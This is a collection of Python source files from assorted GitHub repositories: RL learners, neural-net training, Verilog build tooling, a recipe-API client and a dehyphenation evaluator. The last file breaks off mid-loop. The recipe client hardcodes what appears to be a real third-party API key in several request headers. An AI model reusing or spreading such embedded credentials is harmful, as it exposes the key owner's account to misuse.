= {}\n\n    for element in L:\n        # Element has appeared before and cannot be unique\n        if element in unique_dict:\n            unique_dict[element] = False\n        # Element has not appeared before and may be unique\n        else: \n            unique_dict[element] = True\n\n    # Second, go through the array backward until a unique value is found\n    for element in reversed(L):\n        if unique_dict[element]:\n            return element\n\n    # In the event that there are no unique elements, return null\n    return None\n\n# Min, Max, and Mean\ndef min_max_mean(L):\n    \"\"\" \n    Given a list of numbers, L, this function returns a tuple of \n    (min, max, mean).\n    \"\"\"\n    # special case: empty list\n    if len(L) == 0:\n        return (None, None, None)\n\n    # initialize min, max, total\n    list_min = L[0]\n    list_max = L[0]\n    total = 0\n\n    # go through List, updating min, max, total\n    for num in L:\n        if num < list_min:\n            list_min = num\n        if num > list_max:\n            list_max = num\n        total += num\n\n    # return min, max, and translate total to mean\n    return (list_min, list_max, total/len(L))\n\n","repo_name":"acgould/mini-demos","sub_path":"array_demos.py","file_name":"array_demos.py","file_ext":"py","file_size_in_byte":2309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"38819636333","text":"\"\"\"\nValue Decomposition Actor-Critic (VDAC)\nPaper link: https://ojs.aaai.org/index.php/AAAI/article/view/17353\nImplementation: Pytorch\n\"\"\"\nfrom xuanpolicy.torch.learners import *\n\n\nclass VDAC_Learner(LearnerMAS):\n    def __init__(self,\n                 config: Namespace,\n                 policy: nn.Module,\n                 optimizer: torch.optim.Optimizer,\n                 scheduler: Optional[torch.optim.lr_scheduler._LRScheduler] = None,\n                 device: Optional[Union[int, str, torch.device]] = None,\n                 model_dir: str = \"./\",\n                 gamma: float = 0.99,\n                 ):\n        self.gamma = gamma\n        self.mse_loss = nn.MSELoss()\n        super(VDAC_Learner, self).__init__(config, policy, optimizer, scheduler, device, model_dir)\n\n    def update(self, sample):\n        self.iterations += 1\n        state = torch.Tensor(sample['state']).to(self.device)\n        obs = torch.Tensor(sample['obs']).to(self.device)\n        actions = torch.Tensor(sample['actions']).to(self.device)\n        returns = torch.Tensor(sample['values']).mean(dim=1).to(self.device)\n        rewards = torch.Tensor(sample['rewards']).mean(dim=1).to(self.device)\n        advantages = torch.Tensor(sample['advantages']).to(self.device)\n        agent_mask = torch.Tensor(sample['agent_mask']).float().view(-1, self.n_agents, 1).to(self.device)\n        batch_size = obs.shape[0]\n        IDs = torch.eye(self.n_agents).unsqueeze(0).expand(batch_size, -1, -1).to(self.device)\n\n        _, a_dist, v_pred = self.policy(obs, IDs)\n        v_pred_tot = self.policy.value_tot(v_pred*agent_mask, state)\n        v_true = rewards + self.gamma * returns\n        log_prob = a_dist.log_prob(actions).reshape(advantages.shape)\n        entropy = a_dist.entropy().reshape(agent_mask.shape) * agent_mask\n\n        loss_a = -(advantages * log_prob * agent_mask).mean()\n        loss_c = F.mse_loss(v_pred_tot, v_true)\n        loss_e = entropy.mean()\n\n        loss = loss_a + self.args.vf_coef * loss_c - self.args.ent_coef * loss_e\n        self.optimizer.zero_grad()\n        loss.backward()\n        torch.nn.utils.clip_grad_norm_(self.policy.parameters(), self.args.clip_grad)\n        self.optimizer.step()\n        if self.scheduler is not None:\n            self.scheduler.step()\n\n        # Logger\n        lr = self.optimizer.state_dict()['param_groups'][0]['lr']\n\n        info = {\n            \"learning_rate\": lr,\n            \"actor_loss\": loss_a.item(),\n            \"critic_loss\": loss_c.item(),\n            \"entropy\": loss_e.item(),\n            \"loss\": loss.item(),\n            \"predict_value\": v_pred.mean().item()\n        }\n\n        return info\n","repo_name":"agi-brain/xuanpolicy","sub_path":"xuanpolicy/torch/learners/multi_agent_rl/vdac_learner.py","file_name":"vdac_learner.py","file_ext":"py","file_size_in_byte":2642,"program_lang":"python","lang":"en","doc_type":"code","stars":76,"dataset":"github-code","pt":"60"}
+{"seq_id":"70832892673","text":"import sys\nimport os\nimport csv\nimport argparse\n\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport matplotlib.pyplot as plt\n\n\nfrom data_functions import *\n\n# import various neural networks\nfrom dnn import *\nfrom util_functions import *\n\n\n\ndef main():\n\n\n  \"\"\"\n\n  ---------- Parser ----------\n\n\n  \"\"\"\n\n  # parser\n  parser = argparse.ArgumentParser(description='neural network framework for posit')\n  parser.add_argument('dataset', help = 'specify datasets')\n  parser.add_argument('model', help = 'specify models')\n  parser.add_argument('--bit_size', type=int, default=16, help = 'specify bit size for posit (default is 16)')\n  parser.add_argument('--es_size', type=int, default=1, help = 'specify es size for posit (default is 1')\n  parser.add_argument('--batch_train', type=int, default=100, help='specify batch size of training (default is 100)')\n  parser.add_argument('--batch_test', type=int, default=1000, help='specify batch size of testing (default is 1000)')\n  parser.add_argument('--epochs', type=int, default=5, help='specify epochs (default is 5)')\n  args = parser.parse_args()\n\n  # set hyper parameters for Posit-NN\n  bit_size = args.bit_size\n  es_size = args.es_size\n\n  # batch size for train and test\n  batch_train = args.batch_train\n  batch_test = args.batch_test\n\n  # set epochs\n  epochs = args.epochs\n\n\n  # load data\n  if(args.dataset=='mnist'):\n    dataset_train, dataset_test = generate_datasets('mnist')\n    dataloader_train, dataloader_test = generate_dataloader(dataset_train, dataset_test,batch_train=batch_train, batch_test=batch_test)\n  elif(args.dataset=='cifar10'):\n    dataset_train, dataset_test = generate_datasets('cifar10')\n    dataloader_train, dataloader_test = generate_dataloader(dataset_train, dataset_test,batch_train=batch_train, batch_test=batch_test)\n\n\n  # define NN\n  if(args.model == 'EasyNN'):\n    bit_size=0\n    es_size=0\n    net = EasyNN()\n  elif(args.model == 'EasyPNN'):\n    net = EasyPNN(bit_size,es_size)\n  elif(args.model == 'EasyPNN2'):\n    net = EasyPNN2(bit_size,es_size)\n  elif(args.model == 'VGG11'):\n    bit_size=0\n    es_size=0\n    net = VGG11()\n  elif(args.model == 'Positized_VGG11'):\n    net = Positized_VGG11(bit_size,es_size)\n\n  ## define loss function and optimizer\n  criterion = nn.CrossEntropyLoss()\n  # optimizer = optim.SGD(net.parameters(),lr=0.01,momentum=0.9)\n  optimizer = optim.Adam(net.parameters(), lr=0.0001)\n\n\n  # variables for visualize data\n  epochs_for_visualize = np.array([])\n  loss_for_visualize = np.array([])\n  accuracy_for_visualize = np.array([])\n\n\n\n  \"\"\"\n\n\n  ---------- Training ----------\n\n\n  \"\"\"\n\n\n  # train\n  for epoch in range(epochs):\n    running_loss = 0.0\n    for i, (inputs, labels) in enumerate(dataloader_train):\n      optimizer.zero_grad()\n\n      outputs = net(inputs)\n      loss = criterion(outputs, labels)\n      loss.backward()\n      optimizer.step() # update parameters\n\n      # print statistics\n      running_loss += loss.item()\n      if i % batch_train == batch_train-1:\n        print('[{:d}, {:5d}] loss: {:.3f}'.format(epoch+1,i+1,running_loss/batch_train))\n        remembered_running_loss = running_loss/batch_train\n        running_loss = 0.0\n\n\n\n    # remember accuracy for each epochs\n    loss_for_visualize = np.append(loss_for_visualize,remembered_running_loss)\n    remembered_accuracy = calculate_accuracy(dataloader_test,net)\n    accuracy_for_visualize = np.append(accuracy_for_visualize,remembered_accuracy)\n    epochs_for_visualize = np.append(epochs_for_visualize, epoch+1)\n\n\n\n    # write record as a csv file for each epoch\n    file_path = './Exec_Record/'+ args.dataset+'_'+args.model+ '_' + str(bit_size) + '_' + str(es_size) + '_log.csv'\n    with open(file_path, 'a') as f:\n        writer = csv.writer(f, lineterminator='\\n') # 改行コード（\\n）を指定しておく\n        writer.writerow([epoch+1,remembered_accuracy,remembered_running_loss])\n\n\n    #10epochごとにmodelの保存をしておく\n    if(epoch % 10 == 1):\n      torch.save({\n        'epoch':epoch,\n        'model_state_dict':net.state_dict(),\n        'optimizer_state_dict':optimizer.state_dict(),\n      },'./Model_Record/'+args.dataset+'_'+args.model+'_' + str(epochs) + '_' + str(bit_size) + '_' + str(es_size) +'checkpoint.tar')\n\n\n  # save models after training\n  torch.save(net,'./Model_Record/'+args.dataset+'_'+args.model+'_' + str(epochs) + '_' + str(bit_size) + '_' + str(es_size) +'epochs.pth')\n\n  print('Training Finished')\n\n\n\n\n  \"\"\"\n\n\n  ---------- Testing ----------\n\n\n  \"\"\"\n\n  # test\n  print('Accuracy: {:2f} %%'.format(calculate_accuracy(dataloader_test,net)))\n\n\n\n\n\n  \"\"\"\n\n\n  ---------- Visualizing ----------\n\n\n  \"\"\"\n  # visualize\n  plt.figure()\n  plt.title(args.dataset+'_'+args.model+'_acc')\n  plt.xlabel('epochs')\n  plt.ylabel('accuracy')\n  plt.ylim(0,100)\n  plt.plot(epochs_for_visualize,accuracy_for_visualize)\n  plt.savefig('./Visualize/' + args.dataset+'_'+args.model+'_' + str(bit_size) + '_' + str(es_size) +'_acc.png')\n\n\n  plt.figure()\n  plt.title(args.dataset+'_'+args.model+'_loss')\n  plt.xlabel('epochs')\n  plt.ylabel('loss')\n  plt.plot(epochs_for_visualize,loss_for_visualize)\n  plt.savefig('./Visualize/' + args.dataset+'_'+args.model+'_' + str(bit_size) + '_' + str(es_size) +'_loss.png')\n\n\nif __name__ == \"__main__\":\n  main()","repo_name":"yoshi-ki/Posit-DNN","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5287,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"36975294252","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\" TD Informatique 10 : Derivation non-entiere, avec des listes \"\"\"\nimport matplotlib.pyplot as plt\n\n\ndef fonction_f(x, a, x0):\n    \"\"\" Renvoie l'image de x par la fonction f \"\"\"\n    if x <= 0:\n        return 0\n    elif x <= x0:\n        return a * x**2\n    elif x <= 2 * x0:\n        return -a * x**2 + 4 * a * x * x0 - 2 * a * x0**2\n    else:\n        return 2 * a * x0**2\n\n\ndef derivee_f(liste_x, ordre, pas):\n    \"\"\" Calcule la derivee n-ieme de f \"\"\"\n    valeurs_derivee = []\n    for x in liste_x:\n        K = int(x / pas)\n        C = [1]\n        for k in range(1, K + 1):\n            C.append((1 - (ordre + 1) / k) * C[k - 1])\n        valeurs_derivee.append((1 / (pas**ordre)) * sum([\n            C[k] * fonction_f(pas * (K - k), 1 / (2 * 200**2), 200)\n            for k in range(K)\n        ]))\n    return valeurs_derivee\n\n\nif __name__ == '__main__':\n    x_test = list(range(600))\n    y_test = [fonction_f(x, 1 / (2 * 200**2), 200) for x in x_test]\n    plt.subplot(2, 1, 1)\n    plt.plot(x_test, y_test, label='f')\n    plt.subplot(2, 1, 2)\n    plt.plot(x_test, derivee_f(x_test, 1.5, 0.1), label='derivee 1.5eme de f')\n    plt.legend()\n    plt.show()\n","repo_name":"willRicard/MPSI-Info","sub_path":"11_derivee_non_entiere/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1201,"program_lang":"python","lang":"fr","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"7673511686","text":"#!/usr/bin/env python3\n\nimport json\nimport argparse\nimport shutil\nimport os\nimport sys\n\n\nparser = argparse.ArgumentParser(description=\"\")\nparser.add_argument(\"--model-hier-json\", type=str, required=True, help=\"Path to hierarchy JSON emitted by firtool. Must include DUT as a module.\")\nparser.add_argument(\"--top-hier-json\", type=str, required=True, help=\"Path to hierarchy JSON emitted by firtool. Must include DUT as a module.\")\nparser.add_argument('--in-all-filelist', type=str, required=True, help='Path to input filelist that has all modules (relative paths).')\nparser.add_argument(\"--dut\", type=str, required=True, help=\"Name of the DUT module.\")\nparser.add_argument(\"--model\", type=str, required=True, help=\"Name of the Model module.\")\nparser.add_argument('--out-dut-filelist', type=str, required=True, help='Path to output filelist including all modules under the DUT.')\nparser.add_argument('--out-model-filelist', type=str, required=True, help='Path to output filelist including all modules under the MODEL.')\nparser.add_argument(\"--out-model-hier-json\", type=str, required=True, help=\"Path to updated hierarchy JSON emitted by this script.\")\nparser.add_argument('--target-dir', type=str, required=True, help='Path to where module sources are located (combined with --in-all-filelist gives the absolute path to module sources).')\nparser.add_argument(\"--gcpath\", type=str, required=True, help=\"Path to gen-collateral\")\nargs = parser.parse_args()\n\nMODEL_SFX=args.model + \"_UNIQUIFIED\"\n\n\ndef bash(cmd):\n  fail = os.system(cmd)\n  if fail:\n    print(f'[*] failed to execute {cmd}')\n    sys.exit(1)\n  else:\n    print(cmd)\n\ndef bfs_collect_modules(tree, child_to_ignore = None):\n  q = [(tree['instance_name'], tree['module_name'], tree['instances'])]\n\n  modules = list()\n  while len(q) != 0:\n    front = q[0]\n    q.pop(0)\n\n    (inst, mod, child) = front\n    modules.append(mod)\n    for c in child:\n      if c['module_name'] != child_to_ignore:\n        q.append((c['instance_name'], c['module_name'], c['instances']))\n  return modules\n\ndef get_modules_in_verilog_file(file):\n  module_names = list()\n  with open(file) as f:\n    lines = f.readlines()\n    for line in lines:\n      words = line.split()\n      if len(words) > 0 and words[0] == \"module\":\n        module_names.append(words[1].replace(\"(\", \"\").replace(\")\", \"\").replace(\";\", \"\"))\n  return module_names\n\ndef get_modules_in_filelist(verilog_module_filename, cc_filelist):\n  with open(args.in_all_filelist) as fl:\n    lines = fl.readlines()\n    for line in lines:\n      path = line.strip()\n      basepath = os.path.basename(path)\n      ext = basepath.split(\".\")[-1]\n\n      if (ext == \"v\") or (ext == \"sv\"):\n        modules = get_modules_in_verilog_file(os.path.join(args.gcpath, basepath))\n        for module in modules:\n          verilog_module_filename[module] = basepath\n      else:\n        cc_filelist.append(basepath)\n  return (verilog_module_filename, cc_filelist)\n\ndef get_modules_under_hier(hier, child_to_ignore=None):\n  with open(hier) as hj:\n    hj_data = json.load(hj)\n    modules_under_hier = set(bfs_collect_modules(hj_data, child_to_ignore=child_to_ignore))\n  return modules_under_hier\n\ndef write_verilog_filelist(modules, verilog_module_filename, out_filelist):\n  written_files = set()\n  existing_modules = verilog_module_filename.keys()\n\n  with open(out_filelist, \"w\") as df:\n    for module in modules:\n      if module in existing_modules:\n        verilog_filename = verilog_module_filename[module]\n        if verilog_filename not in written_files:\n          written_files.add(verilog_filename)\n          if args.target_dir in verilog_filename:\n            df.write(f\"{verilog_filename}\\n\")\n          else:\n            df.write(f\"{args.target_dir}/{verilog_filename}\\n\")\n  return written_files\n\ndef write_cc_filelist(filelist, out_filelist):\n  with open(out_filelist, \"a\") as df:\n    for path in filelist:\n      file = os.path.basename(path)\n      df.write(f\"{args.target_dir}/{file}\\n\")\n\ndef generate_copy(c, sfx):\n  (cur_name, ext) = os.path.splitext(c)\n  new_name = cur_name + \"_\" + sfx\n  new_file = new_name + ext\n\n  cur_file = os.path.join(args.gcpath, c)\n  new_file = os.path.join(args.gcpath, new_file)\n\n  shutil.copy(cur_file, new_file)\n  bash(f\"sed -i 's/module\\( \\+\\){cur_name}/module\\\\1{new_name}/' {new_file}\")\n  return new_file\n\ndef bfs_uniquify_modules(tree, common_fnames, verilog_module_filename):\n  q = [(tree['instance_name'], tree['module_name'], tree['instances'], None)]\n  updated_submodule = set()\n  existing_modules = verilog_module_filename.keys()\n\n  while len(q) != 0:\n    front = q[0]\n    q.pop(0)\n    (inst, mod, child, parent) = front\n\n    # external module\n    if mod not in existing_modules:\n      assert(len(child) == 0)\n      continue\n\n    cur_file = verilog_module_filename[mod]\n\n    # if the module is common, make a copy & update its instance in its parent\n    new_mod = mod\n    if mod in common_fnames:\n      try:\n        new_file = generate_copy(cur_file, MODEL_SFX)\n        if parent is not None and ((parent, mod) not in updated_submodule):\n          parent_file = os.path.join(args.gcpath, verilog_module_filename[parent])\n          bash(f\"sed -i 's/\\( \\*\\){mod}\\( \\+\\)/\\\\1{mod}_{MODEL_SFX}\\\\2/' {parent_file}\")\n          updated_submodule.add((parent, mod))\n\n        # add the uniquified module to the verilog_modul_filename dict\n        new_mod = mod + \"_\" + MODEL_SFX\n        verilog_module_filename[new_mod] = new_file\n      except:\n        print(f\"No corresponding file for {cur_file}\")\n\n    # traverse its children\n    for c in child:\n      if c['module_name'] != args.dut:\n        q.append((c['instance_name'], c['module_name'], c['instances'], new_mod))\n\ndef dfs_update_modules(tree, common_fnames, visited):\n  # List of direct submodules to update\n  childs_to_update = list()\n  for child in tree['instances']:\n    # We don't have to change stuff that are under the dut\n    if (child['module_name'] == args.dut):\n      continue\n    if dfs_update_modules(child, common_fnames, visited):\n      childs_to_update.append(child['module_name'])\n      if (child['module_name']) in common_fnames:\n        child['module_name'] = child['module_name'] + \"_\" + MODEL_SFX\n\n  cur_module = tree['module_name']\n  new_file = None\n\n  # cur_file is in the common list, or is a ancestor of of them, generate a new file\n  if (cur_module in common_fnames) or len(childs_to_update) > 0:\n    new_file = 1\n\n  visited.add(cur_module)\n  return (new_file is not None)\n\ndef uniquify_modules_under_model(modules_under_model, common_modules, verilog_module_filename):\n  with open(args.model_hier_json) as imhj:\n    imhj_data = json.load(imhj)\n    visited = set()\n    bfs_uniquify_modules(imhj_data, common_modules, verilog_module_filename)\n    dfs_update_modules  (imhj_data, common_modules, visited)\n\n    with open(args.out_model_hier_json, \"w+\") as out_file:\n      json.dump(imhj_data, out_file, indent=2)\n\ndef main():\n  verilog_module_filename = dict()\n  cc_filelist = list()\n  get_modules_in_filelist(verilog_module_filename, cc_filelist)\n\n  modules_under_model = get_modules_under_hier(args.model_hier_json, args.dut)\n  modules_under_top   = get_modules_under_hier(args.top_hier_json)\n  common_modules      = modules_under_top.intersection(modules_under_model)\n\n  # write top filelist\n  write_verilog_filelist(modules_under_top, verilog_module_filename, args.out_dut_filelist)\n\n  # rename modules that are common\n  uniquify_modules_under_model(modules_under_model, common_modules, verilog_module_filename)\n  uniquified_modules_under_model = get_modules_under_hier(args.out_model_hier_json, args.dut)\n\n  # write model filelist\n  write_verilog_filelist(uniquified_modules_under_model, verilog_module_filename, args.out_model_filelist)\n  write_cc_filelist     (cc_filelist, args.out_model_filelist)\n\n\nif __name__==\"__main__\":\n  main()\n","repo_name":"ucb-bar/chipyard","sub_path":"scripts/uniquify-module-names.py","file_name":"uniquify-module-names.py","file_ext":"py","file_size_in_byte":7825,"program_lang":"python","lang":"en","doc_type":"code","stars":1285,"dataset":"github-code","pt":"60"}
+{"seq_id":"72927933631","text":"from random import randint\r\nimport os\r\n\r\nMAX_NODES = 100\r\nMIN_NODES = 1\r\n\r\ndir = os.path.join(os.getcwd(), 'in')\r\nif not os.path.exists(dir):\r\n    os.mkdir(dir)\r\n\r\nfor test in range(1, 21):\r\n    file = open('in/in' + str(test) + '.txt', 'w+')\r\n    current_node = 1\r\n    number_of_nodes = randint(MIN_NODES, MAX_NODES)\r\n    number_of_queries = randint(MIN_NODES, number_of_nodes)\r\n    file.write(str(number_of_nodes) + ' ' + str(number_of_queries) + '\\n')\r\n\r\n    for node in range(2, number_of_nodes+1):\r\n        file.write(str(randint(1, node-1)) + ' ' + str(node) + '\\n')\r\n\r\n    for _ in range(1, number_of_queries+1):\r\n        file.write(str(randint(1, number_of_nodes)) + ' ' + str(randint(1, number_of_nodes)))\r\n        if _ < number_of_queries:\r\n            file.write('\\n')\r\n","repo_name":"danduta/scripts","sub_path":"testgenerator.py","file_name":"testgenerator.py","file_ext":"py","file_size_in_byte":781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"33856903759","text":"import matplotlib\nimport matplotlib.pyplot as plt\n\ndef get_angle(x):\n    print('raw flex', x)\n    return 0.538*x - 16410\n\ndef save_plot(time, readings):\n    fig, ax = plt.subplots()\n    ax.plot(time, readings)\n    ax.set(xlabel='Time (s)', ylabel='Goniometer reading (degrees)')\n    ax.grid()\n    fig.savefig(\"public/images/dynamic_reading.png\")\n","repo_name":"ece4180/ece4180.github.io","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"32407709297","text":"\"\"\"\nThis file serves as the controller for the spoonacular api. Every function which communicates with the spoonacular\napi is included in this file.\n\"\"\"\n\nimport requests\n\ndef getRecipesByIngredient(ingredients):\n    \"\"\"\n    fetches recipes which maximize the use of input ingredients.\n    :param ingredints: list of strings\n    :return decoded json\n    \"\"\"\n    base_url = \"https://spoonacular-recipe-food-nutrition-v1.p.mashape.com/recipes/findByIngredients?ranking=\" \\\n               \"1&number=5&ingredients=\"\n    ingredients_no_spaces = []\n\n    #delete all spaces for the url\n    for ingredient in ingredients:\n        ingredient = ''.join(str(ingredient).split())\n        ingredients_no_spaces.append(ingredient)\n\n    ingredients = '%2C'.join(ingredients_no_spaces)\n    url = base_url + ingredients\n\n    response = requests.get(\n        url,\n        headers={\n            \"X-Mashape-Key\": \"PO4pY9yb8wmshcGIX33au66a9Jvdp1FpU0zjsnwB2BMrEKZ902\",\n            \"X-Mashape-Host\": \"spoonacular-recipe-food-nutrition-v1.p.mashape.com\"\n        }\n    )\n\n    return response.json()\n\ndef getRecipeInformation(recipe_id):\n    \"\"\"\n    fetches the informations by using the recipe_id\n    :param recipe_id: integer\n    :return decoded json\n    \"\"\"\n    base_url = \"https://spoonacular-recipe-food-nutrition-v1.p.mashape.com/recipes/\" + str(recipe_id) + \"/information\"\n\n    response = requests.get(\n        base_url,\n        headers={\n            \"X-Mashape-Key\": \"PO4pY9yb8wmshcGIX33au66a9Jvdp1FpU0zjsnwB2BMrEKZ902\",\n            \"X-Mashape-Host\": \"spoonacular-recipe-food-nutrition-v1.p.mashape.com\"\n        }\n    )\n\n    return response.json()\n\n\ndef getRecipeByName(search_query):\n    \"\"\"\n    fetches recipes using natural language detection.\n    :param search_query: string\n    :return decoded json\n    \"\"\"\n\n    base_url = \"https://spoonacular-recipe-food-nutrition-v1.p.mashape.com/recipes/search?query=\" + search_query\n\n    response = requests.get(\n        base_url,\n        headers={\n            \"X-Mashape-Key\": \"PO4pY9yb8wmshcGIX33au66a9Jvdp1FpU0zjsnwB2BMrEKZ902\",\n            \"X-Mashape-Host\": \"spoonacular-recipe-food-nutrition-v1.p.mashape.com\"\n        }\n    )\n\n    return response.json()\n\n","repo_name":"SebastianKuhn/OOPBallers","sub_path":"Controller/spoonacular.py","file_name":"spoonacular.py","file_ext":"py","file_size_in_byte":2184,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"26398300407","text":"\"\"\"\nA script that uses the language model trained by Matthias Hertel in his\nmaster's project (see the blog post for more information about the model:\nhttp://ad-blog.informatik.uni-freiburg.de/post/tokenization-repair-using-\ncharacter-based-neural-language-models/) to dehyphenate words.\n\nThe script evaluates how accurate the model can predict whether a hyphen in\na hyphenated word is mandatory (even after merging the word parts) or not.\n\"\"\"\n\nimport argparse\nimport json\nimport string\nimport sys\nimport urllib.parse\n\nimport requests\n\n# =============================================================================\n\n# The scheme of the API url, with placeholder '%s' instead of the actual query.\nAPI_URL_SCHEME = \"http://vulcano:8900/api?q=%s\"\n\n# The character used to represent a hyphenation position in a word.\nHYPHENATION_SYMBOL = \"·\"\n\n# Note that the last three chars are different from each other.\nPUNCTUATION_SYMBOLS = string.punctuation + \" \" + \"\\xa0\" + \"–\" + \"—\" + \"―\"\n\n# =============================================================================\n\n\ndef run(benchmark_file):\n    \"\"\"\n    Runs the evaluation on the given benchmark file.\n    \"\"\"\n\n    # In this script, we will extensively use the shorthands\n    # \"v0\" and \"v1\" in the variable names\n    # \"v0\" means \"remove the hyphen\".\n    # \"v1\" means \"keep the hyphen\".\n\n    num_predicted_v0_expected_v0 = 0\n    num_predicted_v0_expected_v1 = 0\n    num_predicted_v1_expected_v0 = 0\n    num_predicted_v1_expected_v1 = 0\n\n    num_predicted_v0_expected_v0_ambiguous = 0\n    num_predicted_v1_expected_v1_ambiguous = 0\n    num_predicted_v0_expected_v1_ambiguous = 0\n    num_predicted_v1_expected_v0_ambiguous = 0\n\n    num_error_category_1 = 0\n    num_error_category_2 = 0\n    num_error_category_3 = 0\n    num_error_category_4 = 0\n\n    # Read the benchmark file line by line.\n    with open(benchmark_file, \"r\", encoding=\"utf-8\") as bf:\n        for line_num, line in enumerate(bf):\n            sys.stdout.write(\"%s\\r\" % line_num)\n\n            input_sentence, expected_sentence = line.strip().split(\"\\t\")\n            # Remove words of only punctuation symbols from input sentence.\n            input_words = []\n            for word in input_sentence.strip().split():\n                word = word.strip()\n                for char in word:\n                    if char not in PUNCTUATION_SYMBOLS and word:\n                        input_words.append(word)\n                        break\n\n            # Remove words of only punctuation symbols from expected sentence.\n            expected_words = []\n            for word in expected_sentence.strip().split():\n                word = word.strip()\n                for char in word:\n                    if char not in PUNCTUATION_SYMBOLS and word:\n                        expected_words.append(word)\n                        break\n\n            # Consider two variants (v0 and v1) of the input sentence:\n            # v0: The input words with all HYPH_SYMBOL removed.\n            # v1: The input words with all HYPH_SYMBOL replaced by \"-\".\n\n            # The words of the input sentence v0.\n            input_words_v0 = []\n            # The words of the input sentence v1.\n            input_words_v1 = []\n            # The boundaries of the words in the input sentence v0.\n            word_boundaries_v0 = []\n            # The boundaries of the words in the input sentence v1.\n            word_boundaries_v1 = []\n            # The current character index in the input sentence v0.\n            index_v0 = 0\n            # The current character index in the input sentence v1.\n            index_v1 = 0\n            # The positions of the hyphenated words in the input sentence.\n            positions_hyphenated_words = []\n\n            # Obtain (1) positions of hyphenated words in the input sentence\n            # and (2) word boundaries in both variants of the input sentence.\n            for word_pos, word in enumerate(input_words):\n                if any([c == HYPHENATION_SYMBOL for c in word]):\n                    # The word contains a hyphenation symbol.\n                    positions_hyphenated_words.append(word_pos)\n                    input_words_v0.append(word.replace(\n                                          HYPHENATION_SYMBOL, \"\"))\n                    input_words_v1.append(word.replace(\n                                          HYPHENATION_SYMBOL, \"-\"))\n                else:\n                    # The word doesn't contain a hyphenation symbol.\n                    input_words_v0.append(word)\n                    input_words_v1.append(word)\n\n                word_boundaries_v0.append(\n                    (index_v0, index_v0 + len(input_words_v0[-1])))\n                word_boundaries_v1.append(\n                    (index_v1, index_v1 + len(input_words_v1[-1])))\n                # + 1 because of the whitespaces between words.\n                index_v0 += len(input_words_v0[-1]) + 1\n                index_v1 += len(input_words_v1[-1]) + 1\n\n            # Send request to the API using the v0 input sentence.\n            input_sentence_v0 = \" \".join(input_words_v0)\n            url_v0 = API_URL_SCHEME % urllib.parse.quote(input_sentence_v0)\n            try:\n                res_v0 = requests.get(url_v0)\n                json_v0 = json.loads(res_v0.text)\n                if (res_v0.status_code != 200 or not res_v0.text):\n                    print(\"WARNING: Could not process sentence #%d.\" %\n                          line_num)\n                    print(\"status code: %s, status message: %s\" %\n                          (res_v0.status_code, res_v0.text))\n                    continue\n            except KeyboardInterrupt:\n                sys.exit(1)\n            except ConnectionError:\n                print(\n                    \"Please restart web server at http://vulcano:8900. \"\n                    \"Use docker container at ad-svn.informatik.uni-freiburg.de\"\n                    \"/student-projects/matthias-hertel\")\n                sys.exit(1)\n            except Exception:\n                print(\"WARNING: Could not process sentence #%d properly.\" %\n                      line_num)\n                continue\n\n            # Send request to the API using the v1 input sentence.\n            input_sentence_v1 = \" \".join(input_words_v1)\n            url_v1 = API_URL_SCHEME % urllib.parse.quote(input_sentence_v1)\n            try:\n                res_v1 = requests.get(url_v1)\n                json_v1 = json.loads(res_v1.text)\n                if (res_v1.status_code != 200 or not res_v1.text):\n                    print(\"WARNING: Could not process sentence #%d properly.\" %\n                          line_num)\n                    print(\"status code: %s, status message: %s\" %\n                          (res_v1.status_code, res_v1.text))\n                    continue\n            except KeyboardInterrupt:\n                sys.exit(1)\n            except Exception:\n                print(\"WARNING: Could not process sentence #%d.\" % line_num)\n                continue\n\n            # Iterate the hyphenated words. Decide to keep the hyphen or not.\n            for word_pos in positions_hyphenated_words:\n                # V0: Compute the probability of the word *without* hyphen.\n                w_start_v0, w_end_v0 = word_boundaries_v0[word_pos]\n                input_word_v0 = input_words_v0[word_pos]\n                # Compute probability by summing up characters probabilities.\n                prob_word_v0 = 0\n                for i_word, i_sent in enumerate(range(w_start_v0, w_end_v0)):\n                    prob_word_v0 += json_v0[i_sent].get(\n                        input_word_v0[i_word], 0)\n                prob_word_v0 /= len(input_word_v0)\n                prob_word_v0 = round(prob_word_v0, 2)\n\n                # V1: Compute the probability of the word *with* hyphen.\n                w_start_v1, w_end_v1 = word_boundaries_v1[word_pos]\n                input_word_v1 = input_words_v1[word_pos]\n                # Compute probability by summing up characters probabilities.\n                prob_word_v1 = 0\n                for i_word, i_sent in enumerate(range(w_start_v1, w_end_v1)):\n                    prob_word_v1 += json_v1[i_sent].get(\n                        input_word_v1[i_word], 0)\n                prob_word_v1 /= len(input_word_v1)\n                prob_word_v1 = round(prob_word_v1, 2)\n\n                # Decide: is the prediction correct?\n                if prob_word_v1 > 0.5:\n                    prediction_keep_hyphen = round(\n                        prob_word_v1 - prob_word_v0, 2) > 0.01\n                else:\n                    prediction_keep_hyphen = round(\n                        prob_word_v1 - prob_word_v0, 2) >= 0.1\n\n                if prediction_keep_hyphen:\n                    predicted_word = input_word_v1\n                    predicted_word_prob = prob_word_v1\n                    expected_word_prob = prob_word_v0\n                else:\n                    predicted_word = input_word_v0\n                    predicted_word_prob = prob_word_v0\n                    expected_word_prob = prob_word_v1\n                expected_word = expected_words[word_pos]\n\n                if predicted_word == expected_word:\n                    # Prediction is correct.\n                    if prediction_keep_hyphen:\n                        num_predicted_v1_expected_v1 += 1\n                        num_predicted_v1_expected_v1_ambiguous += 1\n                    else:\n                        num_predicted_v0_expected_v0 += 1\n                        num_predicted_v0_expected_v0_ambiguous += 1\n                else:\n                    # Prediction is not correct.\n                    if prediction_keep_hyphen:\n                        num_predicted_v1_expected_v0 += 1\n                        if prob_word_v0 >= 0.75 and prob_word_v1 >= 0.75:\n                            num_predicted_v0_expected_v0_ambiguous += 1\n                        else:\n                            